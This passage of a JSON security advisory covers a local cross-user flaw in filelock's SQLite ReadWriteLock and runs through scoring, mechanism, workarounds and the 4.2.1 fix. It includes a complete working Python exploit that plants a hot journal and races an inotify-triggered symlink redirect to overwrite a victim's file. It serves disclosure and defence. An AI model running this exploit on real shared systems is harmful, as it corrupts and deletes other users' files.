unlink its own files", + "details": "`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/`, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.\n\nAnother local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4).\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-KMJ2575J` [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 7.1 (High).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. `I:H` (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. `A:H` (high availability impact): the other user makes every acquire fail or kills the lock holder. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.\n\nClassification from the external review: **conditional security**, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a `0777` directory or a group-writable one (including a setgid `2775` project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is `0666`. filelock itself creates the database `0600`.\n- Sticky directories (`/tmp`, `/var/tmp`, any `1777` directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with `fs.protected_regular=2`). What remains is a planted non-empty `-wal` (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise `sqlite3.OperationalError: disk I/O error`. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if `fs.protected_hardlinks=0`.\n- Two kernel settings matter. `fs.protected_regular` (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in `/tmp`, and SQLite follows a planted symlink itself (not tested). `fs.protected_hardlinks=1` (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory.\n- Platform and route. The `/proc/self/fd` redirect is Linux with `/proc` mounted, 4.0.9 and later. The side-file variants (`-journal`, `-wal`, `-shm`) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without `/proc`) they need the link-directory swap described under \"Mechanism\", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_connect_through_descriptor` builds `/proc/self/fd/` and hands it to `sqlite3.connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L982-L1001). The assumption is the [comment at line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), \"Descriptor paths reopen the validated inode\" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened at [`PRAGMA journal_mode=MEMORY`, line 816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). The check in [`_raise_if_database_replaced` at line 836](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L836) runs only after `BEGIN`. Both [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029).\n\n## Introduced\n\nThe `/proc/self/fd` redirect came with `4d45e83` (\"Merge commit from fork\", the fix for GHSA-j8f7-rjxc-mr56), first released in **4.0.9** (verified: `git tag --contains 4d45e83` gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\"), first released in **3.20.4** (verified), which passed the lock path straight to `sqlite3.connect`.\n\n## Mechanism\n\nOn Linux the lock opens the database with `O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK`. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls `sqlite3.connect(\"/proc/self/fd/\")` and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs `readlink()` on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows `readlink(\"/proc/534/fd/3\") = \"/tmp/benign/app.lock.db\"` and then a second `openat` of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is ` (deleted)`. A symlink with that exact name sends SQLite wherever its creator chose.\n\nThe other user prepares the directory before the lock user runs. They create a database `cache.lock.db` (`0666`, so the lock user's lock accepts it) with a second hard link `cache.lock.db.keep`, and the symlink `cache.lock.db (deleted) -> /tmp/victim-notes.txt`. The lock user's `os.open` raises an inotify `IN_OPEN` event. The other user unlinks `cache.lock.db` and links `cache.lock.db.keep` back under the same name. The lock user's descriptor still refers to the unlinked entry, so `/proc/self/fd/3` now reads `/tmp/shared-cache/cache.lock.db (deleted)`. `sqlite3.connect` resolves it, follows the symlink and opens the target `O_RDWR|O_CREAT`. None of filelock's checks look at that file. `_open_lock_database` and `_raise_if_wal` inspect descriptor 3. `_raise_if_database_replaced` compares an `lstat` of the lock path with the descriptor's `(st_dev, st_ino)`, which passes because the other user linked the same inode back, and it runs only after `BEGIN`.\n\nThe damage comes from the first statement, `PRAGMA journal_mode=MEMORY`. SQLite finds `-journal`, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):\n\n```\nopenat(\"/tmp/shared-cache/cache.lock.db\", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3\nreadlink(\"/proc/3819/fd/3\", \"/tmp/shared-cache/cache.lock.db (deleted)\", 4096) = 41\nreadlink(\"/tmp/shared-cache/cache.lock.db (deleted)\", \"/tmp/victim-notes.txt\", 4096) = 21\nopenat(\"/tmp/victim-notes.txt\", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4\nopenat(\"/tmp/victim-notes.txt-journal\", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5\npread64(5, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 516) = 4096\npwrite64(4, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 0) = 4096\nunlink(\"/tmp/victim-notes.txt-journal\") = -1 EPERM -> \"disk I/O error\"\n```\n\nThe redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with `O_CREAT`. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty, `0644`, owned by the lock user) and raised nothing. With the symlink pointing at a `0600` WAL-mode SQLite database of the lock user, `write_lock()` returned without error and the database's header bytes 18 and 19 changed from `2 2` to `1 1`. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.\n\n**Side-file names beside the database.** Two comments record the belief that SQLite names its side files after the descriptor path ([line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), [line 1095](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1095)). The path is not synthetic to SQLite. It derives `-journal`, `-wal` and `-shm` from the resolved real path in the shared directory. `journal_mode=MEMORY` governs only journals SQLite would write, not ones it finds. These variants need no redirect.\n\n*A hot `-journal` makes the lock user unlink a file the journal names; no race.* The other user unlinks the lock user's empty `lock.db`, puts a one-page SQLite database (`0666`) in its place, and writes a 46-byte `lock.db-journal`: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a \"super-journal\", and recovery ends by unlinking that file. The lock user's next `read_lock()` or `write_lock()` returns without error and the named file is gone (`unlink(\"/home/victim/private/notes.txt\") = 0`, from a `0700` directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as `lock.db-journal` instead blocks `read_lock(timeout=2)` in SQLite's `open()` of the journal (still blocked when killed after 10 s).\n\n*A re-planted `-wal` puts the holder in WAL mode past `_raise_if_wal`.* `_raise_if_wal` checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats `-wal`, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks `-wal` and `-shm`. The `BEGIN` at line 833 is a separate statement that starts unlocked and stats `-wal` again. Re-creating the 32-byte `-wal` in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.\n\nThe lock user's `with lock.write_lock():` then holds the `-shm` byte-120 WAL write lock and only SHARED on the database. Once the other user removes the `-wal`, a second process of the lock user gets `read_lock(timeout=1)` granted while the writer is inside its block, with no exception on either side. SQLite also creates `-shm` with the database's permission bits (`0666`) and keeps it mapped into memory. After the other user truncates it, the writer dies with `SIGBUS` (the signal for touching a mapped file region that no longer exists) in `connection.rollback()` during `release()`.\n\n*A `-wal` in a sticky directory makes every acquire raise; no race, no access to the database.* Beside the lock user's own empty `0600` database, a non-empty `-wal` (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a `1777` directory the lock user cannot unlink another user's file (`unlink(...) = -1 EPERM`), so the pragma fails with `SQLITE_IOERR_DELETE`. The code in [`_do_acquire_inner`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) translates only \"database is locked\" into `Timeout`. `sqlite3.OperationalError: disk I/O error` therefore leaves every `acquire_read()` / `acquire_write()` (and the async variants) within milliseconds, whatever `timeout` or `blocking` says, until the file's owner or root removes it.\n\n*Further effects observed at this commit in a non-sticky directory.* A `0755` script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raises `file is not a database`). A hard link to the lock user's `0600` `~/.profile` at the lock path does the same in a sticky `/tmp` when `fs.protected_hardlinks=0`. When the locking process runs as root, SQLite runs `fchown` on a `-wal` or `-shm` it opens to match the owner of the database, so root's `0600` `service.env` renamed to `app.lock.db-wal` belonged to the other user after root's `read_lock()`.\n\nA journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so `acquire_read` returns with no lock held in `/proc/locks` and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte `lock.db-wal` plus a `lock.db-shm` on which the other user holds two byte locks makes the acquire take 10 s regardless of `timeout` and raise `locking protocol`, or die with `SIGBUS` if the other user truncates the `-shm`.\n\n**The hard-link route in a directory without the sticky bit.** None of the above occurs on the `_link_beside` branch (macOS, Linux without `/proc`). There SQLite's main file is `.filelock-…/lock.db` in the connecting user's `0700` directory. That protection holds only where no other user can rename the `.filelock-*` entry itself, because `0700` protects the contents, not the entry in the parent. `_link_beside` checks the link once and returns a pathname, and every later use is by that name.\n\nWith `/proc` hidden in a `0777` directory, the other user staged a directory holding a hard link `lock.db` to a one-page database and a hot `lock.db-journal`. They held `BEGIN EXCLUSIVE` on the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's `.filelock-*` directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails with `EPERM`.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-KMJ2575J`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nas_victim = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nas_attacker = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n\n# set up: the lock database lives in a shared cache directory, 0777 and not sticky\nshared_dir = \"/tmp/shared-cache\"\nlock_db = shared_dir + \"/cache.lock.db\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\n\n# set up: a private 0600 file of the victim's in sticky /tmp, which the attacker cannot write\ntarget = \"/tmp/victim-notes.txt\"\nfor leftover in (target, target + \"-journal\"):\n if os.path.lexists(leftover):\n os.unlink(leftover)\noriginal = b\"original victim notes\\n\"\nwith open(target, \"wb\") as notes:\n notes.write(original)\nshutil.chown(target, \"victim\", \"victim\")\nos.chmod(target, 0o600)\ndirect_write = subprocess.run(\n [sys.executable, \"-c\", \"import sys; open(sys.argv[1], 'r+b')\", target], capture_output=True, text=True, **as_attacker\n)\nprint(\"attacker opening the target for writing:\", direct_write.stderr.strip().splitlines()[-1])\nassert direct_write.returncode != 0\n\n# attack: a hot journal beside the target, and a redirect of the victim's SQLite from the lock database to the target\ncontent = \"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\\n\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_hot_journal.py\", target, content], check=True, **as_attacker)\nredirect = subprocess.Popen(\n [sys.executable, \"/tmp/repro.d/redirect_lock_db.py\", lock_db, target], stdout=subprocess.PIPE, text=True, **as_attacker\n)\nassert redirect.stdout.readline() == \"ready\\n\"\n\n# the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times\nfor run in range(1, 21):\n victim = subprocess.run(\n [sys.executable, \"/tmp/repro.d/victim_app.py\", lock_db], capture_output=True, text=True, timeout=60, **as_victim\n )\n with open(target, \"rb\") as notes:\n after = notes.read()\n if after != original:\n break\nredirect.kill()\nredirect.wait()\n\n# check: taking a lock on cache.lock.db must leave the victim's notes alone\nprint(f\"victim run {run}: exit status {victim.returncode}:\", (victim.stderr.strip() or \"no error\").splitlines()[-1])\nstatus = os.stat(target)\nprint(\"target owner, mode, size:\", status.st_uid, oct(status.st_mode & 0o7777), status.st_size)\nprint(\"target before:\", original)\nprint(\"target after: \", after[:60])\nprint(\"BUG\" if after == content.encode().ljust(4096, b\"\\0\") else \"OK\")\n```\n\n**`repro.d/plant_hot_journal.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: leave a rollback journal beside TARGET whose one record restores TARGET's first page to CONTENT.\"\"\"\n\nimport os\nimport struct\nimport sys\n\ntarget, content = sys.argv[1], sys.argv[2].encode()\njournal_path = target + \"-journal\"\n\n# https://www.sqlite.org/fileformat2.html#the_rollback_journal\nJOURNAL_MAGIC = bytes.fromhex(\"d9d505f920a163d7\")\npage_size, sector_size, nonce = 4096, 512, 0x11223344\nrecord_count = 1\npages_after_rollback = 1 # SQLite truncates TARGET to this many pages\nheader = JOURNAL_MAGIC + struct.pack(\">IIIII\", record_count, nonce, pages_after_rollback, sector_size, page_size)\n\npage_number = 1 # page 1 starts at offset 0\npage_image = content.ljust(page_size, b\"\\0\")\n# SQLite's pager_cksum(): the nonce plus every 200th byte, counting down from page_size - 200\nchecksum = (nonce + sum(page_image[i] for i in range(page_size - 200, 0, -200))) & 0xFFFFFFFF\nrecord = struct.pack(\">I\", page_number) + page_image + struct.pack(\">I\", checksum)\n\nwith open(journal_path, \"wb\") as journal:\n journal.write(header.ljust(sector_size, b\"\\0\") + record)\nos.chmod(journal_path, 0o666) # the victim's SQLite opens a hot journal O_RDWR\n```\n\n**`repro.d/redirect_lock_db.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: make the victim's SQLite, connecting through /proc/self/fd/, open TARGET instead of LOCK_DB.\"\"\"\n\nimport ctypes\nimport os\nimport sys\n\nlock_db, target = sys.argv[1], sys.argv[2]\nspare_name = lock_db + \".keep\"\n\n# the attacker creates the lock database, world-writable so that the victim's ReadWriteLock accepts it\nos.close(os.open(lock_db, os.O_CREAT | os.O_WRONLY))\nos.chmod(lock_db, 0o666)\nos.link(lock_db, spare_name)\n\n# what /proc//fd/ reads back as once the name the descriptor was opened through is unlinked\nos.symlink(target, lock_db + \" (deleted)\")\n\nIN_OPEN = 0x20\nlibc = ctypes.CDLL(None, use_errno=True)\ninotify = libc.inotify_init1(0)\nif libc.inotify_add_watch(inotify, lock_db.encode(), IN_OPEN) < 0:\n raise OSError(ctypes.get_errno(), \"inotify_add_watch\", lock_db)\nprint(\"ready\", flush=True)\n\nwhile True:\n os.read(inotify, 4096) # the victim's ReadWriteLock has opened the database and is validating its descriptor\n os.unlink(lock_db)\n os.link(spare_name, lock_db) # the same inode back at the path, so filelock's later lstat sees no change\n```\n\n**`repro.d/victim_app.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The victim: an application that takes its shared read lock once, as in docs/how-to.rst.\"\"\"\n\nimport sys\n\nfrom filelock import ReadWriteLock\n\nrw = ReadWriteLock(sys.argv[1])\nwith rw.read_lock(timeout=5):\n pass\n```\n\n## Attack sequence\n\nThe redirect, with `A` the other local user:\n\n```mermaid\nsequenceDiagram\n participant A as other local user\n participant V as lock user's process (filelock)\n participant S as SQLite inside that process\n participant K as kernel and filesystem\n rect rgb(255, 214, 214)\n Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit\n A->>K: create cache.lock.db (0666) and a second hard link cache.lock.db.keep\n A->>K: symlink \"cache.lock.db (deleted)\" pointing at /tmp/victim-notes.txt\n A->>K: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record)\n V->>K: open(cache.lock.db, O_RDWR O_CREAT O_NOFOLLOW) gives fd 3, fstat says regular, header not WAL\n K-->>A: inotify IN_OPEN on cache.lock.db\n A->>K: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db)\n V->>S: sqlite3.connect(\"/proc/self/fd/3\")\n S->>K: readlink(/proc/self/fd/3) returns \"cache.lock.db (deleted)\"\n S->>K: open(\"cache.lock.db (deleted)\") follows the symlink to victim-notes.txt\n V->>S: PRAGMA journal_mode=MEMORY\n S->>K: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt\n Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user's 4096-byte page image, the lock user sees \"disk I/O error\"\n V->>K: lstat(cache.lock.db) matches fd 3 identity, so _raise_if_database_replaced passes\n end\n```\n\nThe side-file variants, which need no redirect:\n\n```mermaid\nflowchart TD\n B0[\"acquire validates fd, connects SQLite by a name in the shared directory\"] --> B1{\"what did the other user put beside the real path?\"}\n B1 -- \"hot -journal beside a swapped-in one-page database\" --> B2[\"PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds\"]\n B1 -- \"-wal re-created between PRAGMA and BEGIN\" --> B3[\"holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated\"]\n B1 -- \"-wal in a sticky directory the lock user cannot unlink\" --> B4[\"every acquire raises OperationalError disk I/O error, timeout ignored\"]\n B1 -- \"name unlinked and a (deleted) symlink planted\" --> B5[\"SQLite opens the symlink target with O_CREAT\"]\n classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n class B0,B1 info;\n class B2,B3,B4,B5 bad;\n```\n\n## Evidence\n\nThe scanner's reproducer runs the documented `ReadWriteLock(path)` + `with rw.read_lock(timeout=5):` as user `victim` against `/tmp/shared-cache/cache.lock.db` (directory `0777`, not sticky) while user `attacker` holds the symlink and reacts to inotify. It first shows that `attacker` cannot write the target (`PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'`). On the first `victim` run it prints `victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error`, `target owner, mode, size: 1000 0o600 4096`, target before `b'original victim notes\\n'`, after `b\"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\\n\\x00...\"`, verdict `BUG`. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two `ReadWriteLock` instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The `-wal` re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.\n\nOur verification: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head it prints `OK`: all 20 `victim` runs exit 0 with no error and the target stays `1000 0o600 22` bytes with its original content. The independent review also ran the sticky-directory `-wal` variant (a `0600` database owned by `victim` in a `1777` directory, other user plants `-wal`). 4.2.0 raises `OperationalError: disk I/O error`; the PR head takes read and write locks with the file still present.\n\n## Impact\n\nAnother local user who can write the non-sticky directory holding the database makes the lock user's process act on a file other than the lock database, with the lock user's privileges, on Linux. The process writes bytes of the other user's choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create `-journal` beside it (the lock user's own `0600` files in `/tmp` qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user's choosing per journal; the acquire succeeds and raises nothing. A process inside `write_lock()` stops excluding the lock user's other processes from `read_lock()`, and the holder can die from a `SIGBUS` that arrives in `release()`.\n\nIt is **not** reachable for a database the lock user owns in `/tmp` with `fs.protected_regular` 1 or 2. There only the planted `-wal` denial of service remains: every acquire raises an undocumented `sqlite3.OperationalError` that `Timeout` and `OSError` handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at ` (deleted)`. Windows does not take this path.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content.\n- For a lock in a sticky directory keep `fs.protected_regular` at 1 or 2 and `fs.protected_hardlinks=1` (distribution defaults). Treat a sudden `sqlite3.OperationalError: disk I/O error` on every acquire as a foreign `-wal` beside the database that the file's owner or root has to remove.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:15 UTC: fix PR #834 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112940" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/834" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +}